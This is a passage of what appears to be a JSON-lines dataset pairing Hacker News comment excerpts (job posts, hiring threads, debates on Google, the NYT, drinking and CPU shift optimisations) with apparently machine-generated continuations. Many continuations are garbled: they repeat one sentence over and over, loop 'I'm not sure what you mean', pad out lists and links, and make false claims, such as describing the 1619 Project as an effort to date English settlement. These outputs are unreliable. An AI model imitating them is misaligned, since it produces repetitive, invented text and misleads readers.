efforts to get more engineers\ninto the government. It's not about the quality of the engineers.\n\n~~~\njbooth\nI'm not sure what you're trying to say", "input_text": " say whether\na lot of engineering-trained persons in government is mostly a feature or\nmostly a bug. I wish China well in going the direction of Taiwan (another\nplace long ruled by technocrats) in developing the rule of law and an open\npolitical system with many guarantees of personal liberty. But it is by no\nmeans an invariant characteristic of human societies that those with the best\nmath and science minds thrive best over the long term.\n\nP.S. You did see below the fold on the submitted article, didn't you, what the\nblog author thinks China can count on just from the fact of the educational\nbackground of its leaders? Not much, just from that fact.\n\nP.P.S. to respond to first reply: It's my understanding that the government of\nthe Federal Republic of Germany consciously DE-emphasized technical education\nafter World War II in favor of more emphasis on humanities and social science\nin the primary and secondary school curriculum. I thought it would trigger a\nmention of Godwin's Law\n\n\n\nif I brought this up at first, but I've read that many observers of prewar\nGermany under the Third Reich looked at the quality of the scientists there\n(very high indeed) and thought that Germany would be hard to beat in the war.\nIt is well known to people who read interesting histories of World War II,\nsuch as mathematician T.W. K\u00f6rner's book The Pleasures of Counting,\n\n[http://www.amazon.com/Pleasures-Counting-T-\nW-K%C3%B6rner/dp/...](http://www.amazon.com/Pleasures-Counting-T-\nW"} +{"output_text": "cb50a4432c9e7a/raw/f7e8f9e8e9a8b8e8c8e8d8e8d8e8d8e8d8e8d8e8d8e8d8e8d8e8d8e8d8e8d8e8d8e8d8e8d8e8d8e8d8e8d8e", "input_text": " facebook. There are a lot of\ninnocuous sites that have at least some small reliability on facebook and\nblocking all of facebook makes using these sites a tad bit difficult / poor\nUX.\n\n~~~\ncheckyoursudo\nAny examples? I have blocked Facebook for many years, and I can't think of a\nsingle time where it has mattered.\n\nI run without JavaScript by default, so maybe I just don't notice those kinds\nof things after years of conditioning.\n\n~~~\n__alias\nyou run without js by default? God your internet must be boring :)\n\n~~~\n__jal\nOnly whitelisted sites run JS in my browser. If by 'boring', you mean vastly\nless annoying, yes, it is terribly boring.\n\nI'd likely never look at the bulk of commercial websites if I had to render\nthem the way owners intended them to render.\n\n------\nepiapp\nFor anyone who's interested, I also maintain a tracking protection list for\nInternet Explorer. It's based originally on the Ghostery and Disconnect lists,\nbut I now update it independently. It's designed to be concise and speedy, yet\nalso comprehensive. Note, however, that due to the limitations of tracking\nprotection lists in IE, it can't block everything. You may need to supplement\nit with a small hosts file. Check it out here:\n[https://github.com/amtopel/tpl](https://github.com/amtopel/tpl)\n\n------\nangadsg\nCreated a pi-hole friendly blocklist\n[https://gist.githubusercontent.com/angad/3db2da1cb50a4432c9e...](https://gist.githubusercontent.com/angad/3db2da1"} +{"output_text": "https://medium.com/@metaverseapp/the-future-of-\naugmented-r...](https://medium.com/@metaverseapp/the-future-of-augmented-\nreality-is-here-d7f9a9d9d9d)\n\n[https://medium.com/@metaverseapp/the-future-of-\naugmented-r...](https://medium.com/@metaverseapp/the-future-", "input_text": " Catalyst, Founders Fund,\nand Goldman Sachs.\n\nFull Stack Engineer:\n[https://cadre.com/careers?gh_jid=554376](https://cadre.com/careers?gh_jid=554376)\nSenior Full Stack Engineer:\n[https://cadre.com/careers?gh_jid=75123](https://cadre.com/careers?gh_jid=75123)\nSite Reliability Engineer:\n[https://cadre.com/careers?gh_jid=460998](https://cadre.com/careers?gh_jid=460998)\nSoftware Engineer in Test:\n[https://cadre.com/careers?gh_jid=155526](https://cadre.com/careers?gh_jid=155526)\n\n~~~\nlady_gigi_\nThis company is backed by the Kushners (Thrive) and Peter Thiel. Curious:\nAnyone deterred from applying for that reason?\n\n~~~\nDrewChambersDC\nNo way, not everyone in tech is a leftist.\n\n------\nsthielen\nGoMeta | Augmented Reality | San Diego, CA | Full-time, Onsite or Remote\n\nAngel backed ($2M), led by Xooglers, GoMeta is building a platform that allows\nanyone to create interactive AR experiences. What Youtube did for the\npublishing, distribution, and discovery of video, we are doing for AR.\n\nOur early beta testers have already built all kinds of stuff -\n[https://medium.com/@metaverseapp](https://medium.com/@metaverseapp)\n\nSome other links:\n\n["} +{"output_text": "inx Vivado. I have also worked with\nCadence and Synopsys tools.\n\nR\u00e9sum\u00e9/CV: [https://www.linasr.com/wp-\ncontent/uploads/2020/03/Linas-R-Res...](https://www.linasr.com/wp-\ncontent/uploads/2020/03/Linas-R-Resume.pdf)\n\nEmail: linasr@linasr.", "input_text": "\n\nTechnologies: Good full stack- however, certainly bizdev: One of the first\ndirectors of community at DeviantART, Product and Marketing Dir- myplanet.com,\nfirst Chief Technology Evangelist and VP of Strategy at DigitalOcean\n\nR\u00e9sum\u00e9/CV:\n[https://www.linkedin.com/in/dnsroot/](https://www.linkedin.com/in/dnsroot/)\n\nEmail: je@h4x.club\n\n-Looking to help a dev focused company grow, preferably Asia Pacific, open to Canada or EU.\n\n------\nJustAPerson\nLocation: Boston\n\nRemote: No\n\nWilling to relocate: Yes (Bay Area, Seattle, New York)\n\nTechnologies: Rust (since 2014), C++, LLVM\n\nResume/CV:\n[https://jpriest.me/pdfs/jpriest_resume_spring_2020.pdf](https://jpriest.me/pdfs/jpriest_resume_spring_2020.pdf)\n\nEmail: jason@jpriest.me\n\nGitHub: [https://github.com/JustAPerson/](https://github.com/JustAPerson/)\n\nMIT '19 new grad* looking for work in backend / systems software development.\nPassionate about anything performant. I tinker with compiler and operating\nsystem development in my free time.\n\n------\nlinasr\nLocation: Munich, Germany\n\nRemote: yes, but it doesn't always work with hardware\n\nWilling to relocate: not sure yet, maybe Switzerland\n\nTechnologies: I am FPGA designer with almost decade experience. I started with\nAltera Quartus, but now work with Xil"} +{"output_text": " the memo from your mind, you are\nnot a rational person.\n\n~~~\ndang\n> _How about every article or video about cryptocurrency, PRISM, AI, 'Data\n> Science' and a litany of other topics in tech?_\n\nI'm not sure what you mean by \"tech journalism of any merit\". I'm not sure\nwhat you mean by \"meaningful HN comment threads\".\n\n~~~\nquxbar\nI'm not sure what you", "input_text": " of a\nminority. If the oligarchy gets this style of democratic self-censorship past\nus, it's one more nail in the coffin of freepeoples everyone.\n\n------\nrabboRubble\nApparently, I do not have strong standing from which to comment on this. I'm\nprone to neuroticism\u200b. My bad. I would have never independently discovered\nthis about myself without a Google guy to point it out.\n\nThanks Google dude!\n\n------\nAron\nThis article is so well written I am left wondering what happens if the tide\ncompletely reverses and it becomes overwhelmingly clear that Google should not\nhave fired him.\n\n------\nquxbar\n> To me, the Google memo is an outlier\u2014I cannot remember the last time so many\n> outlets and observers mischaracterized so many aspects of a text everyone\n> possessed.\n\nHow about every article or video about cryptocurrency, PRISM, AI, 'Data\nScience' and a litany of other topics in tech? I have seen almost no 'tech'\njournalism of any merit, so I'm not surprised to see sloppy coverage of\nanother complex issue. But that shouldn't stop meaningful HN comment threads\n:)\n\nThe fact is, the memo does not simply put forth a question for debate, it\ntreats a massive legacy of misogyny in our culture as a feature, not a bug. He\nreally genuinely sees no problem with a world that pushes people into gender\nroles. In fact, he thinks we should optimize for it. It's a selfish tantrum\nthrown by someone feeling a lack of affirmation - disguised as vague argument\nthat he really understands people, tech, and companies much better than his\nbosses.\n\nIf you helps for you to remove anything about"} +{"output_text": "to do research. Pay people to do research that is not published in academic\njournals. Pay people to do research that is not published in academic\njournals. Pay people to do research that is not published in academic\njournals. Pay people to do research that is not published in academic\njournals. Pay people to do research that is not published in academic\njournals. Pay people to do research that is not published in academic\njournals. Pay people to do research that is not published in academic\n", "input_text": " CS research coding. I think it's feasible.\nIt doesn't solve all of the problems, because as discussed elsewhere in this\nthread, some of them are incentive-related and I'm not going to claim to have\nanswers to everything. :)\n\n(a) Convince more research groups to do their research on GitHub by default --\nideally, in open repositories. They get good hosted SCM, the world gets a\nbetter chance of seeing their code.\n\n(b) Create more incentives, like the USENIX Community Award, for research that\nputs out its code. I'd say that in the systems community, a pretty decent\nchunk of the papers at SOSP, OSDI, and NSDI have code releases (of varying\ndegrees of usability) accompanying them, though that's not a scientific count.\n\nMozilla could throw $1k to help create community-award-style incentives in the\nconferences they're interested in. Win-win. You get engaged with the\ncommunity, you create some incentive for people to do the right thing, and you\ncan use it as an onroad to deeper engagement with the winning authors (i.e.,\nyou can try to bring them in for internships. :).\n\n------\nmoron4hire\nWhat it will take is creating a new system of research and development that\nignores the traditional academic system. Because this has been a problem for a\nwhile and they clearly are not hearing the message.\n\nThe reason academic research works is because it takes risk on potential\nfailures, because it's only donated or grant money anyways. But academic\ninstitutions fetishize academic papers, which is the problem from the article.\n\nWe need to legitimize research outside of the academic institution. Pay people\n"} +{"output_text": " Firmware Engineer,\nSoftware Engineer, and Software Engineer (Teleoperation).\n\nIf you are interested in any of these positions, please apply at\n[http://grnh.se/f75mb21](http://grnh.se/f75mb21)\n\n------\njoshu\nPagerDuty | [https://www.pagerduty.com](https://www.pagerduty.com) | San\nFrancisco, CA | Full-", "input_text": "create transformative enterprise-level solutions.\n\nEach year, we select one outstanding individual to be the Silverman Fellow.\nThis Fellow joins the NYP Innovation Center\u2019s startup-like environment,\nreceives careful mentorship, gains unprecedented access to Hospital\noperations, and connects with senior leadership. Through this experience, he\nor she learns to take ideas from concept to practice-changing product.\n\nSee\n[http://innovatenyp.org/silvermanfellowship/](http://innovatenyp.org/silvermanfellowship/)\nfor more details.\n\nContact me personally with any questions by PM.\n\n~~~\nTech1\nDrop your contact info in your profile please!\n\n~~~\nmichaelgao\nThanks - added it.\n\n------\nnutonomy\nnuTonomy | [http://grnh.se/f75mb21](http://grnh.se/f75mb21) | dozen of\npositions in self-driving cars technology | Cambridge (MA), Santa Monica,\nZurich, Singapore | full-time\n\nCome work on our fleet of self-driving cars!\n\nnuTonomy aims to be the first company in the world to launch an autonomous\ntaxi system, and we are building up an awesome team to make this goal a\nreality. This includes software for autonomous vehicle navigation in urban\nenvironments, smartphone-based ride hailing, fleet routing and management, and\ncontrolling a vehicle remotely through teleoperation. The company\u2019s software\nhas been tested in the U.S., Singapore, and Europe.\n\nCurrently, the positions that have a formal opening are: Vice President of\nEngineering, Perception Lead, Computer Vision Research Scientist, Control\nSystem Engineer, ECU Engineer - Automotive, Embedded /"} +{"output_text": "------\nmatt_the_bass\nI\u2019ve been drinking alcohol for a long time. I\u2019ve been sober for a long time.\n\nI\u2019ve found that I can drink a lot more than I used to. I\u2019m not sure if it\u2019s\nbecause I\u2019m older or if it\u2019s because I\u2019m more aware of the effects of alcohol\non my body.\n\nI\u2019ve also found that I can drink more than I used", "input_text": " gentle bike ride or walk if I've had a drink.\n\nA couple of years ago I set myself a 2 drink limit. I've only broken it once\nor twice and I don't see that as an issue. Most of the time it means I'm ok to\ndrive in an emergency, can be up early without a hangover and can stay active.\nI have a beer at home 2 or 3 times a week and really enjoy it so I don't think\ndrinking alone is an issue for me.\n\nWish I'd done it years ago!\n\n------\nNicoJuicy\nIt's easy for social drinking, I did it to.\n\nThere are some great 0% beers out there in Belgium. I personally recommend\n\"Brugse Zot\" ( with alcohol) and \"Sport Zot\" ( without alcohol), nobody will\nsee the difference and it will make it a lot easier. ( Both taste great)\n\nIf you go to someone at home, just bring 1 pack of each with you and drink the\n0%. It's the best trick I found out to reduce social drinking.\n\nJust drink 1 of 2 without and try it out. It's actually not much different,\nthe social \"vibe\" is the same.\n\nThe biggest difference seems to be when you drink water ( socially)\n\nPs. Only drank 1 evening in the weekend. But it was mostly when I had a lot of\nstress from work, that I drank too much\n\n------\ncraftinator\nDon't buy alcohol. Seriously, when there's no booze around, I don't drink.\nWhen there is booze around, I often end up drinking ALL of it. Don't buy it,\nand you're good to go.\n\n~~~\nsaddestcatever\nTrue!\n\n"} +{"output_text": " catalog.\n\n~~~\nJtsummers\nI'm not sure what you mean by card catalogs. I'm not sure what you mean by\n\"most libraries nowadays use the Internet to support their catalog.\"\n\n~~~\ntomrod\nI'm not sure what you mean by \"most libraries nowadays use the Internet to\nsupport their catalog.\"\n\nI'm not sure what you mean by \"most libraries nowadays use the Internet to\nsupport their catalog.\"\n\nI'm not", "input_text": "them participate. It's been relegated to mere entertainment. I can go days\nwithout checking it.\n\nA reporter asked a Girl Scout whether the cookies they were selling were\nhealthy. She just said, \"Don't eat the whole box.\"\n\nTechnology is like relationships, they get better after you develop good\nboundaries. If you can't trust yourself with cookies, don't keep cookies in\nthe house. But really, you should just work on not being a slave to food. Or\nFacebook.\n\nNothing about technology actually keeps you from interacting more deeply with\nothers. You do that to yourself. You can't blame food for making you fat.\n\n------\nRivieraKid\nHe's such an amazingly good writer.\n\n~~~\nnoufalibrahim\nI like his \"Ode less travelled\" a lot but his other works of fiction not so\nmuch. And his blog posts (including this one) seem to be a few straightforward\npoints blown up into an essay. I realise that he enjoys language for it's own\nsake. I do too in a much lesser way but his style simply doesn't resonate with\nme.\n\n------\ndajohnson89\nThat's cute, he thinks a student in today's world can be successful without\nthe Internet.\n\n~~~\nJtsummers\nWhy not? Assuming access to books (library, bookstores) and journals via a\nlibrary (should be present in most schools or within a school district, decent\nlibraries in my rather small town), a student would be in the same situation\nas most pre-2000 students, many of whom succeeded just fine.\n\n~~~\ntomrod\nPre-2000 students had access to card catalogs within the library. Most\nlibraries nowadays use the Internet to support their"} +{"output_text": " any other search engine. I don't know how many searches I've done since\nthen, but I can't remember using any other search engine.\n\n~~~\ngilgoomesh\nI'm not sure I agree with your statement.\n\nI think the reason Google's search engine is a monopoly is because it's\n_better_ than the competition.\n\nI think the reason Google's search engine is a monopoly is because it's\n_better_ than the competition.\n", "input_text": " if this is a new system but I flew through Schiphol a lot around\n2010-2012 and the baggage was very slow. Typically half an hour wait. Whenever\npossible I flew with carry on as I found it frustrating to have an hour flight\nthen half an hour wait.\n\n \nEric Schmidt's book is wrong about how Google works - mandeepj\nhttp://venturebeat.com/2014/11/30/why-eric-schmidt-doesnt-know-how-google-works/\n======\ngilgoomesh\nIf we take this article at face-value (that Google is as big as it is because\nof its monopoly in search) a related question is immediately raised: why is\nGoogle's search engine a monopoly?\n\nIf the monopoly is due to superior technology, why are Google able to write a\nbetter search engine and maintain this search engine lead?\n\nIf the monopoly is due to other effects (buying favored search-engine status\nin Safari, Firefox and pushing Chrome/Android) why don't the browsers have all\nthe power?\n\nI guess I agree with the article that Google's power is search-engine derived\nbut there's more to the source of that monopoly than I think the article\ndiscusses.\n\n~~~\nmixmax\nGoogle's monopoly is based on their early superior technology. That's it, pure\nand simple.\n\nI'm old enough to remember the web before google, and it was terrible. Back\nthen we switched between hotbot, altavista, yahoo and a few others - and they\nall sucked. Some of them ranked searches _alphabetically_ \\- try searching\nthrough 100.000 results that are ordered alphabetically.\n\nI remember the first time I ever used google. From the very first day I never\nused"} +{"output_text": "?\n\n~~~\nVeen\nThe 1619 Project was a project to find the date of the first English settlement\nin North America. It was a project that was supposed to be a collaborative\neffort between historians and archaeologists. It was a project that was\nsupposed to be a collaborative effort between historians and archaeologists.\n\nInstead, it was a project that was run by a single historian, and the\narchaeologists were left out of the loop. The project", "input_text": " there is then the question of would you have made that $150 profit\nwithout spending the $20? Or did you actually make more than one sale from\nthose $20 worth of ads (e.g. in-store sales etc in addition to purchases made\nonline). I am not involved in online advertising now, but at the time that was\nthe trillion dollar question that everyone was trying to answer... no idea if\nit is solved now.\n\n------\ncreaghpatr\nGiven what they are trying to do to Scott Alexander, it's hard to take NYT's\nreporting angle seriously.\n\n------\navsteele\nThis is a poor article. It mixes up several different issues and lumps them\ntogether as if they were one thing. Strongly ideological companies aren't\ngoing to behave like the bulk of their customers.\n\nI read this as yet another shot from the NYT against tech in general. It's\npropaganda.\n\n------\ndonw\nAfter the SSC debacle, NYT is likely to learn itself a thing or two about\nboycotts.\n\n~~~\nintsunny\nIf we punish respected organizations (of any kind) for every gaffe, we would\nnot have any left.\n\nIn an era where the journalists are more under attack than ever, we might want\nto remember it is easier to tear things down than build them up.\n\n~~~\nVeen\nWhat about gaffes like the 1619 Project, the shortcomings and errors of which\nthe NYT steadfastly refused to correct in the face of criticisms from\nhistorians. At a certain point, when the gaffes all line up in one direction,\none might reasonably suspect an underlying motive.\n\n~~~\nciarannolan\nWhat were some of the issues with the 1619 Project"} +{"output_text": " the best\nuniversities in the world, and the best medical system in the world.\n\n~~~\njamesbritt\n\"The best medical system in the world\"\n\nI'm not sure that's true.\n\n~~~\npaulnelligan\nI'm not sure it is either.\n\n------\njamesbritt\n\"The British are a nation of shopkeepers.\"\n\nI'm not sure that's true.\n\n~~~\njames", "input_text": " It's hard to address their answers to the questions that\ndon't have right or wrong answers because they answer so well.\n\n------\npclark\nLearning how to speak and articulate what I am saying has been the most\nvaluable skill I have ever learnt.\n\nI am constantly blown away by how poorly grown adults converse.\n\n------\nTheBoff\nAs a current Cambridge undergraduate studying computer science, I find this\nabsolutely outrageous.\n\nThe article seems to imply that the scientific fields simply aren't studied\nhere.\n\nThe particular example of Lord Cherwell is particularly misleading, as his\nresults were mistrusted by other scientists of the day.\n\nAlso, the application process is completely misrepresented. I had two\ninterviews, with the people who would be supervising me. I didn't get offered\nsherry, they were sat respectably in chairs, and they asked me maths and logic\nquestions.\n\nMy director of studies informs me that he then runs all our results\n(interview, A levels, personal statement) through a number of statistical\ntests to work out who are going to be the best candidates.\n\nAlso, it's strange, I didn't think that Bill Gates and Mark Zuckerberg had any\neffect on the legislative direction of America...\n\nAnd the point about \"workaholic study is not encouraged\" is absolutely untrue.\nThe full reading list probably consisted of about 3 pages of literature. The\nworkload here is high: it's certainly not unknown to have a fifty hour working\nweek here.\n\n------\npaulnelligan\nas an Irishman, it's instinctive to have mixed feelings about the British, our\nonce brutal, now friendly neighbour.\n\nIn any case, they must be doing something right. They have some of"} +{"output_text": "ocate: Yes\n Technologies: Java, Spring, Spring Boot, Spring Data, Spring Cloud, Spring Security, Spring Data JPA, Spring Data MongoDB, Spring Data Neo4j, Spring Data Redis, Spring Data Elasticsearch, Spring Data Cassandra, Spring Data Solr, Spring Data JPA, Spring Data Neo4j, Spring Data MongoDB, Spring Data Redis, Spring Data Elasticsearch, Spring Data Cassandra, Spring Data Solr, Spring Data", "input_text": "://github.com/akmittal](https://github.com/akmittal)\n\n6 years of experience building scalable web applications.\n\n------\nmongrelion\nLocation: Amsterdam, The Netherlands\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: Expert in automation and programmable infrastructure. Strategic\nconsultant.\n\nR\u00e9sum\u00e9/CV: on a case to case basis\n\nEmail: mail [a t] carlosleon [ d0t ] info\n\nI understand business and I understand tech. I'm the bridge between management\nand your engineering teams. I make sure that your team is aligned with true\nbusiness requirements. Big fan of SRE and DevOps. If you're struggling to get\nthe ball rolling, give me a call. I travel within the EMEA region. Available\nfrom March on.\n\n------\nfountstudio\nSEEKING WORK -- Dev studio with immediate availability for a new project. A\nfew of our full stack engineers are available for a new project or to\nindividually augment a team (remote/contract preference). \\--\n\nLocation: US\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: Significant experience with modern Javascript frameworks,\nNodeJS, React, React Native, Angular, Python, AWS and more.\n\nResume/CV:\n[https://www.fountstudio.com/work](https://www.fountstudio.com/work)\n\nEmail: JD {at} fountstudio.com\n\n------\nsmileprem001\n\n Software and Cloud Architect with 15+ years of experience in both enterprises and startups\n Location: Sunnyvale, CA, USA\n Remote: No\n Willing to rel"} +{"output_text": " product is a platform that allows\ncompanies to create and sell their own branded dog food. We are looking for\nfront-end and full-stack developers to join our team.\n\nWe are looking for people who are passionate about technology, who are\npassionate about dogs, and who are passionate about making a difference.\n\nIf you are interested, please email me at james@tails.com\n\n------\njames-watson\nSquare | Software Engineer | San", "input_text": "RE team. The team was founded just over a year\nago and today is made up of half a dozen super nice and talented people.\n\nIf monitoring, automation, and web stacks are your thing fire a mail my way\njonathan.cremin@udemy.com\n\n------\nishwarn\nDrive Motors (W16) | Sr. Software Engineer | San Francisco | ONSITE\n\nDrive Motors is revolutionizing the car buying process by making e-commerce\nsolutions for car dealerships and buyers.\n\nWe're looking for a software engineer, comfortable with the full stack, to\njoin our small team. You will be working with Node.js, React.js, Redux, MySQL,\nRedis, HTML, CSS, and AWS.\n\nIf you're interested, please email jobs@drivemotors.com with your resume and a\nlittle bit about yourself.\n\n------\nyvoschaap\nPararius | Amsterdam | Onsite, full-time,\n[https://www.pararius.nl](https://www.pararius.nl)\n\nWe're looking for a full-stack developer to lead our products' development.\n\nFor details (Dutch): > [http://stackoverflow.com/jobs/132632/full-stack-\nontwikkelaar...](http://stackoverflow.com/jobs/132632/full-stack-ontwikkelaar-\npararius)\n\n------\nspjwebster\ntails.com | Front-end & Full Stack Developers | Richmond, London | ONSITE,\nfull time\n\ntails.com is a tech-centric startup, using the power of technology combined\nwith applied nutritional science to change the world of dog food for good.\n\nSo much more than just a website, our"} +{"output_text": " that I don't\ntrust the third-party ad networks to be able to keep their shit together.\n\n~~~\nmehrdadn\n> _If you use a script blocker, it 's not that uncommon to see that once you\n> get down far enough, scripts are being loaded from bare IP addresses rather\n> than domain names._\n\nI'm not sure I understand this. I'm pretty sure that if you use a script\nblocker, you're not", "input_text": " on\n> TLB state, store buffer coalescing, coherence protocols, or even replacement\n> policies. Suddenly, the SMT side channel doesn\u2019t look so bad.\n\n[http://www.cs.cornell.edu/~asampson/blog/spectacular.html](http://www.cs.cornell.edu/~asampson/blog/spectacular.html)\n\n------\nmehrdadn\nCould someone please explain to me why there is so much focus on Spectre\nvulnerabilities in Javascript and not really any on HTML/CSS, when it seems\nthat a server could also be able to cause the client to perform speculative\nexecution via pure HTML? Or is it not possible for some reason? The focus on\nJavascript as though it's somehow special is rather baffling to me, making me\nwonder whether I'm really understanding the fundamental issues. (?)\n\n~~~\nSir_Substance\n>The focus on Javascript as though it's somehow special is rather baffling to\nme\n\nOne of the most common ways major ad networks get compromised to the extent\nthat they serve malware to hundreds of thousands of web users (this happens at\nleast once a year) is that they hotlink to JS libraries, that hotlink to JS\nlibraries, that hotlink to _more_ JS libraries.\n\nIf you use a script blocker, it's not that uncommon to see that once you get\ndown far enough, scripts are being loaded from bare IP addresses rather than\ndomain names. Every now and again, someone compromises one of these deep-\nnested hotlinked JS files and maliciously modifies the javascript, and random\nsites all over the web dutifully serve the malware.\n\nIt's not that I don't trust the first-party website owners, more"} +{"output_text": " security features didn't work. We're sorry, we'll\nreplace your account with a new one.\"\n\nThey'll say:\n\n\"Doh, our sophisticated security features didn't work. We're sorry, we'll\nreplace your account with a new one.\"\n\nAnd then they'll replace your account with a new one.\n\n~~~\ntialaramex\nI'm not sure why I'm getting downvoted. I'm not saying that Troy is wrong", "input_text": "'t need to be exceptional at math for doing programming. A\nbasic understanding of arithmetic is sufficient. Okay, perhaps if you work\nwith numerical analysis on daily basis, or doing type theory/lambda\ncalculus/any theoritical computer science stuffs.\n\n------\nttizya20\nIt's 2020 and the g factor ism't mainstream\n\n \nBanks, Arbitrary Password Restrictions and Why They Don't Matter - weinzierl\nhttps://www.troyhunt.com/banks-arbitrary-password-restrictions-and-why-they-dont-matter/\n======\nmquander\n_He turned to me and said, \"Do you really think the only thing the bank does\nto log people on is to check the username and password?\" Banks are way more\nsophisticated than this and it goes well beyond merely string-matching\ncredentials; there's all sorts of other environment, behavioural and heuristic\npatterns used to establish legitimacy. You won't ever see a bank telling you\nhow they do it, but those \"hidden security features\" make a significant\ncontribution to the bank's security posture._\n\nTheir response to having visible security that sucks is to say that they also\nhave a lot of super complicated invisible security which is actually really\ngood? Why am I supposed to believe that? Their invisible security probably\nsucks even more.\n\n~~~\ntialaramex\nI agree, Troy is way too gullible here.\n\n> Do you really think the only thing the bank does to log people on is to\n> check the username and password?\n\nYes. I assure you that when bad guys with your username and password log in\nand steal all your money the bank _won't_ say:\n\n\"Doh, our sophisticated"} +{"output_text": "a)\nand custom made tables (Carpenter) are both good.\n\nI think the key is that the carpenter is able to make a table that is\ncustomized to the customer's needs. The custom table is a better product than\nthe mass market table.\n\n------\njoshu\nI think the author is conflating \"programming\" with \"programming languages\".\n\n~~~\nhiltmon\nI think you're right. I was thinking more of", "input_text": "\nblasdel\nScribd doesn't even have the source to their own Flashizer! It's FlashPaper,\nwhich was Macromedia's somewhat lame attempt at competing with PDF pre-buyout.\n\n~~~\nnatrius\nIf I remember correctly, Scribd started out using FlashPaper, but they\ndeveloped their own supposedly superior iPaper to replace it.\n\n \nIt should only take you a few hours... - The Hiltmon - hiltmon\nhttp://www.hiltmon.com/blog/2012/01/11/it-should-only-take-you-a-few-hours-dot-dot-dot/\n======\nasolove\nOf course carpenters don't get this kind of nonsense, because you can buy\ncheap, mass-manufactured tables. If you go to a carpenter to get a table\nbuilt, you must have a good reason and you know that a lot of time and money\nwill be involved.\n\nMake no mistake, this distinction is coming to much of what we currently\nconsider \"programming\" too. Spreadsheets probably save the world from 80% of\nwhat would otherwise have to be done by a programmer, and someone will\neventually find a UI paradigm for a rough database and rules system (maybe\nsomething like Bento+Improv?) that can replace much of what line-of-business\nprogrammers do now.\n\nNow, you say: but programming is really about thinking and attention to\ndetail, not just typing in code.\n\nTo which I say: yeah, and so is making tables.\n\nBut at some point, in the current Western economy, cheap wins over good.\n\n~~~\nhiltmon\nExcellent points. And I'd have to agree that both mass market tables (Ike"} +{"output_text": "165300-software-engineering-in...](https://angel.co/ravelin/jobs/165300-software-engineering-intern)\n\n* Senior backend engineer: [https://angel.co/ravelin/jobs/165300-backend-engineer-sen...](https://angel.co/ravelin/jobs/165300-backend-engineer-senior)\n\n* Senior data engineer: [https://angel.co/ravelin", "input_text": ". It's expected that you'd be a main reviewer\nhelping to grow the skills of the more junior engineers, along the way\nhopefully you'll learn a thing or two during the reviews as well. You'll also\nspend significant time writing code and building features; and we're looking\nfor someone who will be as excited to learn engineering insights from us as\nthey are to teach us the gems of wisdom they've learned along the way.\n\n[http://grnh.se/o2et631](http://grnh.se/o2et631)\n\n------\ngeorgethomas\nRavelin | Software Engineer | London, UK | onsite, full time, interns,\n[https://www.ravelin.com/](https://www.ravelin.com/)\n\nWe use machine learning to provide real-time fraud detection for online\nbusinesses, such as Deliveroo, YPlan and Easy Taxi.\n\nThe tech stack is Go microservices on the backend and TypeScript and Angular\non the frontend. Experience in these is nice, but definitely not required.\n\nWe're currently hiring for:\n\n* Senior front end engineer: [https://angel.co/ravelin/jobs/165301-javascript-engineer-sen...](https://angel.co/ravelin/jobs/165301-javascript-engineer-senior)\n\n* Senior / Mid level full stack engineers: [https://angel.co/ravelin/jobs/133765-full-stack-engineer-dev...](https://angel.co/ravelin/jobs/133765-full-stack-engineer-developer-mid-senior)\n\n* Software engineering interns: [https://angel.co/ravelin/jobs/"} +{"output_text": " all the time for things that are trivial to file.\n\n~~~\ntptacek\nI'm not sure I'd call it trivial to file.\n\n~~~\nbhousel\nI'm not sure I'd call it trivial to file.\n\n------\njasonlbaptiste\nI'm not sure if this is a good thing or not. I think it's a good thing that\nthey're being held accountable for their actions. I think it's a bad thing\n", "input_text": " scalable 2\\.\nExclusive reliance on repeat sales as the key driver of sustainability: this\nbeing the obvious case, did Google not do its due diligence and actually\nsurveyed past Groupon customers? Such a siimple survey would have easily\nrevealed the issues of this \"local deals\" model. 3\\. Heavy reliance on \"small\nbusiness\" owners as the driver of revenue. This is a sensitive and fickle\nmarket, where even slight movements in the general economy will cause huge\nmoves in spending patterns.\n\nThese 3 points were readily available to anybody with some insight into this\nsegment; Google with all its money must be surrounded by \"yes\" men, nothing\nelse could explain it's willingness to part with $6 billion so quickly.\n\n~~~\nnakor\nI'm not sure if they actually could have sold the company to google even if\nthey wanted to. My understanding is that you must open your books to the\nprospective buyer after a certain stage and it is likely that once the google\naccountants had a look at Groupons books the deal would have fallen through.\n\nThat could have created negative press and damaged their pump-and-dump\nstrategy for the IPO.\n\n~~~\nQuizzy\nExcellent point.\n\n------\ntptacek\nMy perception is that these kinds of shareholder suits are trivial to file,\nand that they occur regularly any time the stock of any public company drops\nsignificantly after some event about them hits the news.\n\nIt would be interesting to see someone chart this.\n\n(No comment about Groupon's long-term viability is being implied here).\n\n~~~\nbhousel\nAs someone who builds legal matter management software for large publicly\ntraded companies, I can confirm that your perception is correct.\n\nPublic companies are sued"} +{"output_text": " of multiplies.\n\n~~~\njandrese\nI think the point is that the shift is a more general operation that can be\napplied to any number. The multiplication is a more specific operation that\ncan only be applied to integers.\n\n~~~\ncogman10\nI think you are right, but I think the point is that the shift is a more\ngeneral operation that can be applied to any number. The multiplication is a\nmore specific operation that can only be", "input_text": "reduction>),\nconverting for a more general expensive operation into a more constrained\ncheaper operation. In this case it is the equivalent to knowing that if you\nwant to multiply a number by 10 you can just add a 0 at the beginning instead\nof having to write all the work by hand.\n\nThe only reason not to do this transform would be if you had a CPU that\nliterally does not have a shift operation, but I cannot think of any such\npart. Even if you did have such a part, the odds are you could emulate a shift\nusing other other instructions and still outperform the multiply.\n\nThis has been a standard optimization for half a century. The original C\ncompiler for the PDP-11 did these transforms even when you turned off\noptimizations\n<[http://c-faq.com/misc/shifts.html>](http://c-faq.com/misc/shifts.html>).\n\n~~~\ncogman10\n> This has been a standard optimization for half a century. The original C\n> compiler for the PDP-11 did these transforms even when you turned off\n> optimizations\n\nConsider this, a common easily applied optimization that compilers have been\ndoing for half a century MAY have made it's way into modern CPUs.\n\nTransistors aren't nearly as power hungry as you paint them and CPUs aren't\nnearly as bad at optimization. There is no reason to switch a multiply or\ndivide for a shift. The ONLY reason to make that switch is if you are dealing\nwith the simplest of processors (Such as a microwave processors). If you are\nusing anything developed in the last 10 years that consumes more than 1W of\npower, chances are really high that the you aren't saving any power by using\nshifts instead"} +{"output_text": "\nand it was fine.\n\n------\njoshstrange\nI think it's because of the \"Ask Question\" button on the top right of the\npage. I've seen it on other sites and it's always been a pain in the ass to\nfind the question I want to ask.\n\n------\njoshstrange\nI think it's because of the \"Ask Question\" button on the top right of the\npage. I've seen it on other sites", "input_text": "\n\n------\nvinod1073\nIndia is the reason! Look at the regional interest graph at the mentioned URL!\nQuora is more popular in India than in any 